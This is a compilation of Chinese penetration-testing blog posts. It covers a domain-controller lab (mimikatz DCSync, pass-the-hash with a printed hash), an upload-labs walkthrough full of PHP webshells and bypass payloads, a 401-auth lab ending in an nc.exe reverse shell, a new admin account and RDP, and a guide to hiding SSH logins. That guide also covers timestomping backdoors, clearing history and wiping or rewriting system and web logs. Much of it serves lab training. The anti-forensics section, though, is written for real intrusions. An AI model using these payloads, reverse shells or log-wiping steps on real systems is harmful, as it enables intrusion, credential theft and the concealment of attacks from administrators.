流量转发，可适配大多数网络工具。打开10.10计算机的远程桌面连接功能，输入刚刚添加的账号和密码登录成功后，在C盘中查找到最后的flag3、域控渗透前面我们利用fscan.exe扫描出来存在永痕之蓝漏洞，但是利用MSF执行不了命令，该怎么上传文件呢？我们可以使用Windows自带的远程连接，找到本地资源，在本地设备和资源中找到详细信息把驱动器勾选上，还有本地的C盘文件勾选上，共享到远程连接后的服务器中这样目标机器就能访问10这个机器的文件了随后上传nc至20.10机器然后打开远程登录的20靶机，在共享的C盘文件中找到nc，并放到30的机器当中去不过这里我，我们不能使用30的cmd来反弹shell，因为当前登录的用户并不是系统权限，需要用MSF的exp来打这里需要执行3次才会执行一次命令，总体来说延迟了3个命令，或者你要敲三个回车，才能执行你的第一个命令，应该是bug，这里已经获取到了系统权限使用MSF上传mimikatz通过共享目录将 mimikatz 工具上传至域控服务器。通过 MSF 模块执行 mimikatz，初始执行时显示 “低权限”，无法提取域哈希。执行以下命令提升权限至系统权限：privilege::debug # 启用调试权限 sekurlsa::logonpasswords # 提取登录密码哈希 最终执行 DCSync 命令，提取整个域的所有用户哈希：lsadump::dcsync /domain:cyberstrikelab.com /all #提取整个域的所有账户哈希 执行结果成功提取到域管理员Administrator的 NTLM 哈希：94bd5248e87cb7f2f9b871d40c903927。获取 NTLM 哈希后，采用 “哈希传递攻击”（Pass-the-Hash，PtH）登录域控服务器。使用 impacket 工具集（一款专注于网络协议攻击的工具集）中的psexec模块，执行哈希传递登录：proxychains impacket-psexec -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20 命令执行后，成功获取域控服务器的 CMD 会话，执行ipconfig等命令验证，确认已完全控制 192.168.20.20 域控服务器。至此，整个渗透测试流程完成。
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
不多废话，直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞？环境靶场：upload-labs服务器：centos7数据库：mysql5.7php：5.5nginx：1.24在开始之前先介绍一款windows defender卸载工具，提高渗透效率，不然文件上传成功就被杀了，文章在这儿，使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中，由于对用户上传文件的处理不当或存在缺陷，导致用户能够绕过权限限制，向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在，但服务器对上传文件的处理和解释方式不当，可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中，都可能存在文件上传漏洞的风险，例如在相册、头像上传、视频和照片分享等场景中。此外，论坛发帖和电子邮件附件上传等功能，也是文件上传漏洞的高风险区域。同样，文件管理器等工具也可能成为攻击者利用的目标。注意：移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs（1-21关）第一关（前端验证）由于靶场配置必须要使用php5.2版本才能正常运行，建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马，php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验，分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true，并按回车，即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来，打开浏览器控制台，并回车，直接重置checkFile()这个同名函数，使js执行俩次。上传成功。使用中国蚁剑测试，连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关（MIME验证）使用抓包工具，抓到了包，第一关是抓不到的，我们把上传的jpg文件修改为php即可上传成功第三关（黑名单验证，特殊后缀）将文件后缀修改为php1，php2即可不过需要注意，上传成功后文件名称改变了第四关（黑名单验证，.htaccess）通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名，我们可以上传一个htaccess文件，让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess，需要修改httpd.conf，启用AllowOverride，并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache，上传.htaccess文件，然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败！(｡◕ ∀ ◕｡) ，哈哈哈哈，好像要特定的环境，自己去找找资料吧，小编我也找了好久没出来。不急，还有第二种发方法，windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁，over！第五关（黑名单验证，.user.ini.）和第四关一样php. .第六关（黑名单验证，大小写绕过）这一关同样是后端黑名单，.htaccess和.ini。但是没有使用strtolower()函数，可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后，就会自动解析为.注意上传成功后的真实的文件地址。第七关（黑名单验证，空格绕过）仔细分析源代码，容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; } }使用burp suite劫持包在文件后缀添加一个空格，上payload，filename="myscript.php "上传成功第八关（黑名单验证，点号绕过）这一关黑名单，没有使用deldot()过滤文件名末尾的点，可以使用文件名后加 .进行绕过，即scirpt.php.。第九关（黑名单验证，特殊字符::$DATA绕过）php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关（黑名单）分析源码，源码中使用deldot()函数，即字符串的尾部开始，从后向前删除点.，直到该字符串的末尾字符不是.为止。提示：deldot()函数从后向前检测，当检测到末尾的第一个点时会继续它的检测，但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '此文件类型不允许上传！'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; } }第十一关（黑名单验证，双写绕过）str_ireplace 是 PHP 中的一个函数，它用于将字符串中的某些部分替换为其他字符串，并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; }通过源码我们可以发现，他仅仅对文件名称进行了替换，替换之后的后缀没有进行黑名单验证，这里我们就可以使用双写文件后缀进行文件上传，例如filename="info.pphphp"。上传成功第十二关（get00截断）这一关白名单，通过%00截断可绕过白名单限制，但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述：PHP函数如move_uploaded_file在底层C语言实现时，会因遇到0x00（URL编码为%00）截断字符串。利用此特性，可绕过某些文件上传限制。第十三关（post 00截断）使用00截断的几个前提条件：PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc，PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符，这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关（图片马unpack）源码通过分析上传文件的前两个字节来识别其类型，并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg，发现合并成功。上传此图片木马后，并且通过文件包含漏洞触发并执行其中的PHP代码，而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数，进行文件包含。执行图片文件。出现如下错误问题显示在行8，我们去查看一下第八行是什么内容。<?这个符号，不就是php的脚本符号嘛，把它删掉，再次包含执行jpg文件文件包含执行成功，此时即可使用中国蚂蚁连接第十五关（getimagesize图片马）分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知，上传失败！"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错！"; } } }我们发现仅仅只做了图片的判断，并没有对我们图片马，进行限制。所以照样可以用14关的通关方法，进行getshell第十六关（exif_imagetype图片马）分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知，上传失败！"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错！"; } } }也是一样进行文件类型判断，没有对图片马进行判断，照样可以使用第14关的绕过方法。第十七关（二次渲染绕过）在这一环节，上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证，确保其为GIF格式。随后，图片经过了二次渲染处理。然而，在后端的二次渲染过程中，需要识别并标记出渲染后未发生改变的十六进制（Hex）区域。通过利用文件包含漏洞，可以在这些未变区域嵌入恶意代码，进而使用蚁剑工具进行远程连接和操作。注意：对于做文件上传之二次渲染建议用GIF图片，这里小编为大家准备了一个GIF马，大家自行提取百度网盘提取码：1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关（条件竞争一）查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组，用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件，移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称，为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件！"; unlink($upload_file); } }else{ $msg = '上传出错！'; } }通过分析，仅仅只是判断文件名称，和修改上传的文件名称，如果临时文件的后缀不在黑名单里面，就删除这个临时文件，那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包，然后不断在浏览器访问我们的webshell，总会有一瞬间的访问成功。这个页面中没有文件包含漏洞，图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了，那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求，同时用Python脚本频繁访问该文件。在文件被删除前访问成功，即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效，因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除，从而允许我们通过蚁剑进行连接。首先，我们上传PHP文件，用BP拦截，并发送到攻击器Intruder清除所有的payload提示：进行下一步操作前，千万要注意，就是不要把BP的拦截功能关闭了，要一直保持拦截状态，才有更好的效果。接着设置无限发送空的Payloads，来让它一直上传该文件最后建议这里把线程设置高一点，提高练习渗透效率然后我们写一个Python脚本，通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件）import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行Python脚本，目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件，那么shell.php应该也创建成功了，用蚁剑连一下试试。测试连接，over！第十九关（条件竞争二）上传GIF测试发现路径少了一个/，应该是开发者少添加了一个斜杠，去服务器把源文件改下从源码来看的话，服务器先是将文件后缀跟白名单做了对比，然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话，php是不能上传了，只能上传图片马了，而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞，比如文件包含，apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马，用BP拦截（基本上在BP上的操作跟上面第18关没区别）注意上传的是图片马就行。Python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关（黑名单）有俩种方法，使用制作好的图片马上传，然后利用labs自带的includ漏洞进行包含，但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试，over！第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL，多了个jpg那么我们使用第二个数组呢，岂不是就变为xxx.php.了查看上传成功的URL上传成功！总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验，导致恶意用户可能上传执行脚本，从而控制应用。通过upload-labs等实战平台，可以学习多种防护和绕过技巧。防御措施包括：隐藏上传文件路径，避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件，降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容，确保安全。根据系统特性，定制化安全防护策略。欢迎关注我的公众号【小羽网安】，里面不定期更新我自己的学习记录，用于更好的帮助萌新们解决问题。感谢阅读！原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下，如果哪里有错误还请指正，欢迎留言，让更多的师傅们交流学习，还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么？我用的Ubuntu系统，在ubuntu系统中的w命令，主要用于显示当前当前登录用户的所有信息，包括正在执行的命令。比如我新建两个ssh连接（也就是两个终端，连同一个服务器）。终端1：执行 ping www.baidu.com在ping的过程中，打开终端2，那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候，此时能看到当前登录的信息，这个TTY下的pts/0和pts/2意思就是伪终端的区分，也就是两个不同的ssh连接。两个ssh的连接，连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件（在某些系统中可能是/var/log/btmp）同样的我们登录两个ssh连接，使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢？那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T ：告诉ssh客户端，不要分配一个TTY（伪终端）root ：连接用户xxx.xxx.xxx.xxx ：连接的服务器ip地址/bin/bash ：在远程服务器上启动一个交互式的Bash shell。效果如下，默认登录一个终端的时候，会有一个pts/0，但是这里已经成功隐藏了登录配置一台正常连接的ssh终端，也可以看到，我同时登录了两台服务器，但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑，通常禁用root通过ssh登录，或者禁止root用户执行某些操作，使用普通用户登录系统。排查使用 $PPID，可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录，在退出会话前直接执行：# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理，内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history）附加到内存数据中了举例，ping www.baidu.com后，kill，连接断开重新登录，history，并没有ping 这条命令，隐藏成功正常退出重连，history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录，建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间，我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ，将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此，但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time)：表示我们最后一次访问（仅仅是访问，没有改动）文件的时间 最近更改(modify time)：表示我们最后一次修改文件的时间 最近改动(change time)：表示我们最后一次对文件属性改变的时间，包括权限，大小，属性等等或者使用find命令，查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢？ 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件，大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的，从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据，但不能删除，适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件，来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记录所有登录失败信息，使用lastb命令查看 /var/log/lastlog 记录所有用户最后一次登录时间的日志，使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息，使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息，使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 # 直接覆盖日志文件 echo > /var/log/btmp cat /dev/null > /var/log/secure # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址： sed -i 's/192.168.166.85/192.168.1.1/g' secure清除web日志入侵痕迹# 直接替换日志ip地址 sed -i 's/192.168.166.85/192.168.1.1/g' access.log # 清除部分相关日志 cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/文件安全删除工具# shred 命令 安全的从硬盘上擦除数据，默认覆盖3次，通过 -n指定数据覆盖次数 [root@centos]# shred -f -u -z -v -n 8 1.txt # wipe 使用特殊的模式来重复地写文件，从磁性介质中安全擦除文件 [root@centos]# wipe filename学习于（有删改）：https://www.cnblogs.com/awake1t/p/14504139.html往期推荐【重要通知】关于举办第二届CN-fnst::CTF的通知【kali笔记】这样炫酷的终端签名，是如何打印出来的？渗透测试高频面试题分享upload-labs通关全教程（建议萌新收藏）Web安全-文件上传漏洞超详细解析开箱即用！265种windows渗透工具合集--灵兔宝盒
前言401验证，在网络通信和HTTP协议中，特指一种状态码——401 Unauthorized（未经授权）。当客户端尝试访问受保护的资源时，如果未能提供有效的身份验证信息，或者提供的信息不足以获得访问权限，服务器就会返回401状态码，表示请求未被授权。靶场复现弱口令123456当然也可以使用bp爆破base64解密添加迭代器，用户字典在这里添加一个冒号添加密码字典添加处理规则base64编码这里发现一个百分号的url编码，他就是我们401认证中间的冒号这里取消url编码即可然后进行爆破即可，找到一个响应为200的就是爆破成功的然后解密就好返回页面登录成功后就会得到key1进入到首页登录sql注入尝试，被验证了双引号也不行对搜索框进行xss攻击，发现对<>进行了过滤url编码，但是被转义成了script的a标签，还是以字符串的形式添加到相关搜索注册一个用户信息这里成功注册了，但是也没有alert(1)查看首页过来，也没有，修改闭合标签试试修改信息，并添加一个strong标签失败了，好像还有字符长度限制在短消息界面中尝试xss失败，没效果xss验证，被转义成了字符串 好家伙直接添加成功，也没有xss漏洞找到默认 织梦 后台管理地址管理员没有修改默认登录界面admin 万能密码绕过，没有效果查看端口开放信息这个端口也没有什么东西3306端口，mysql远程连接试试，拒绝远程连接robots爬虫协议/include/templets，都没发现什么东西找到头像设置界面，一句话图片马能上传了可以上传图片，但是找了好一会儿，没有找到文件包含的地方御剑目录扫描扫不出任何东西这里有一个认证，就是401认证，用普通的目录扫描工具是扫不出任何东西的Authorization: Basic YWRtaW46MTIzNDU2用burp suite扫描抓包指定好御剑的字典目录扫描路径刚刚扫描到的phpmyadmin这个错误介绍MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础，例如WordPress，Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而，有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误，以及如何解决它。错误原因该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户，它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码，或者尝试通过phpMyAdmin使用root用户但是密码错误，那么您就会遇到MySQL Error # 1045。此外，如果您使用的是不正确的用户名或密码，也会遇到此错误。弱口令root/root成功一、后台文件上传登录mysql，找到指定的数据表，查看admin密码解密admin/888888成功进入到了后台界面找到这个文件式管理器，找到key2查看这个key2上传php文件用nmap进行扫描扫出来结果为windows系统执行命令dir查看系统信息，是windows server 2008操作系统在当前uploads目录上传一个nc.exe移交cmd权限到攻击机器nc.exe [ip] [端口] -e cmddir查看是否成功查看用户权限信息，是超级管理员，那么我们就可以添加一个管理员用户添加用户，并添加到admin用户组# 添加一个用户 net user 用户名 password /add # 添加用户名到指定用户组 net localgroup administrators 用户名 /add开启远程wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1nmap扫描指定端口，查看是否开启用你刚刚添加的用户进行远程连接查看administrator目录，成功访问，获得目标服务器权限，这里环境没有配置key3，演示结束。二、日志写入phpmyadmin日志功能SHOW VARIABLES LIKE "%general%"这里我们查看日志状态是开启的，我们可以尝试写日志的方式，获取shell命令如果没有打开也可以使用如下脚本，打开日志功能SET GLOBAL GENERAL_LOG=on在上面我们看到了日志的路径，确定了本站为phpstudy搭建的，我们修改日志文件到我们的shell.php查看脚本是否存在写入日志SELECT "<?php @eval($_POST[10]); ?>"这里不要忘了添加401验证的请求头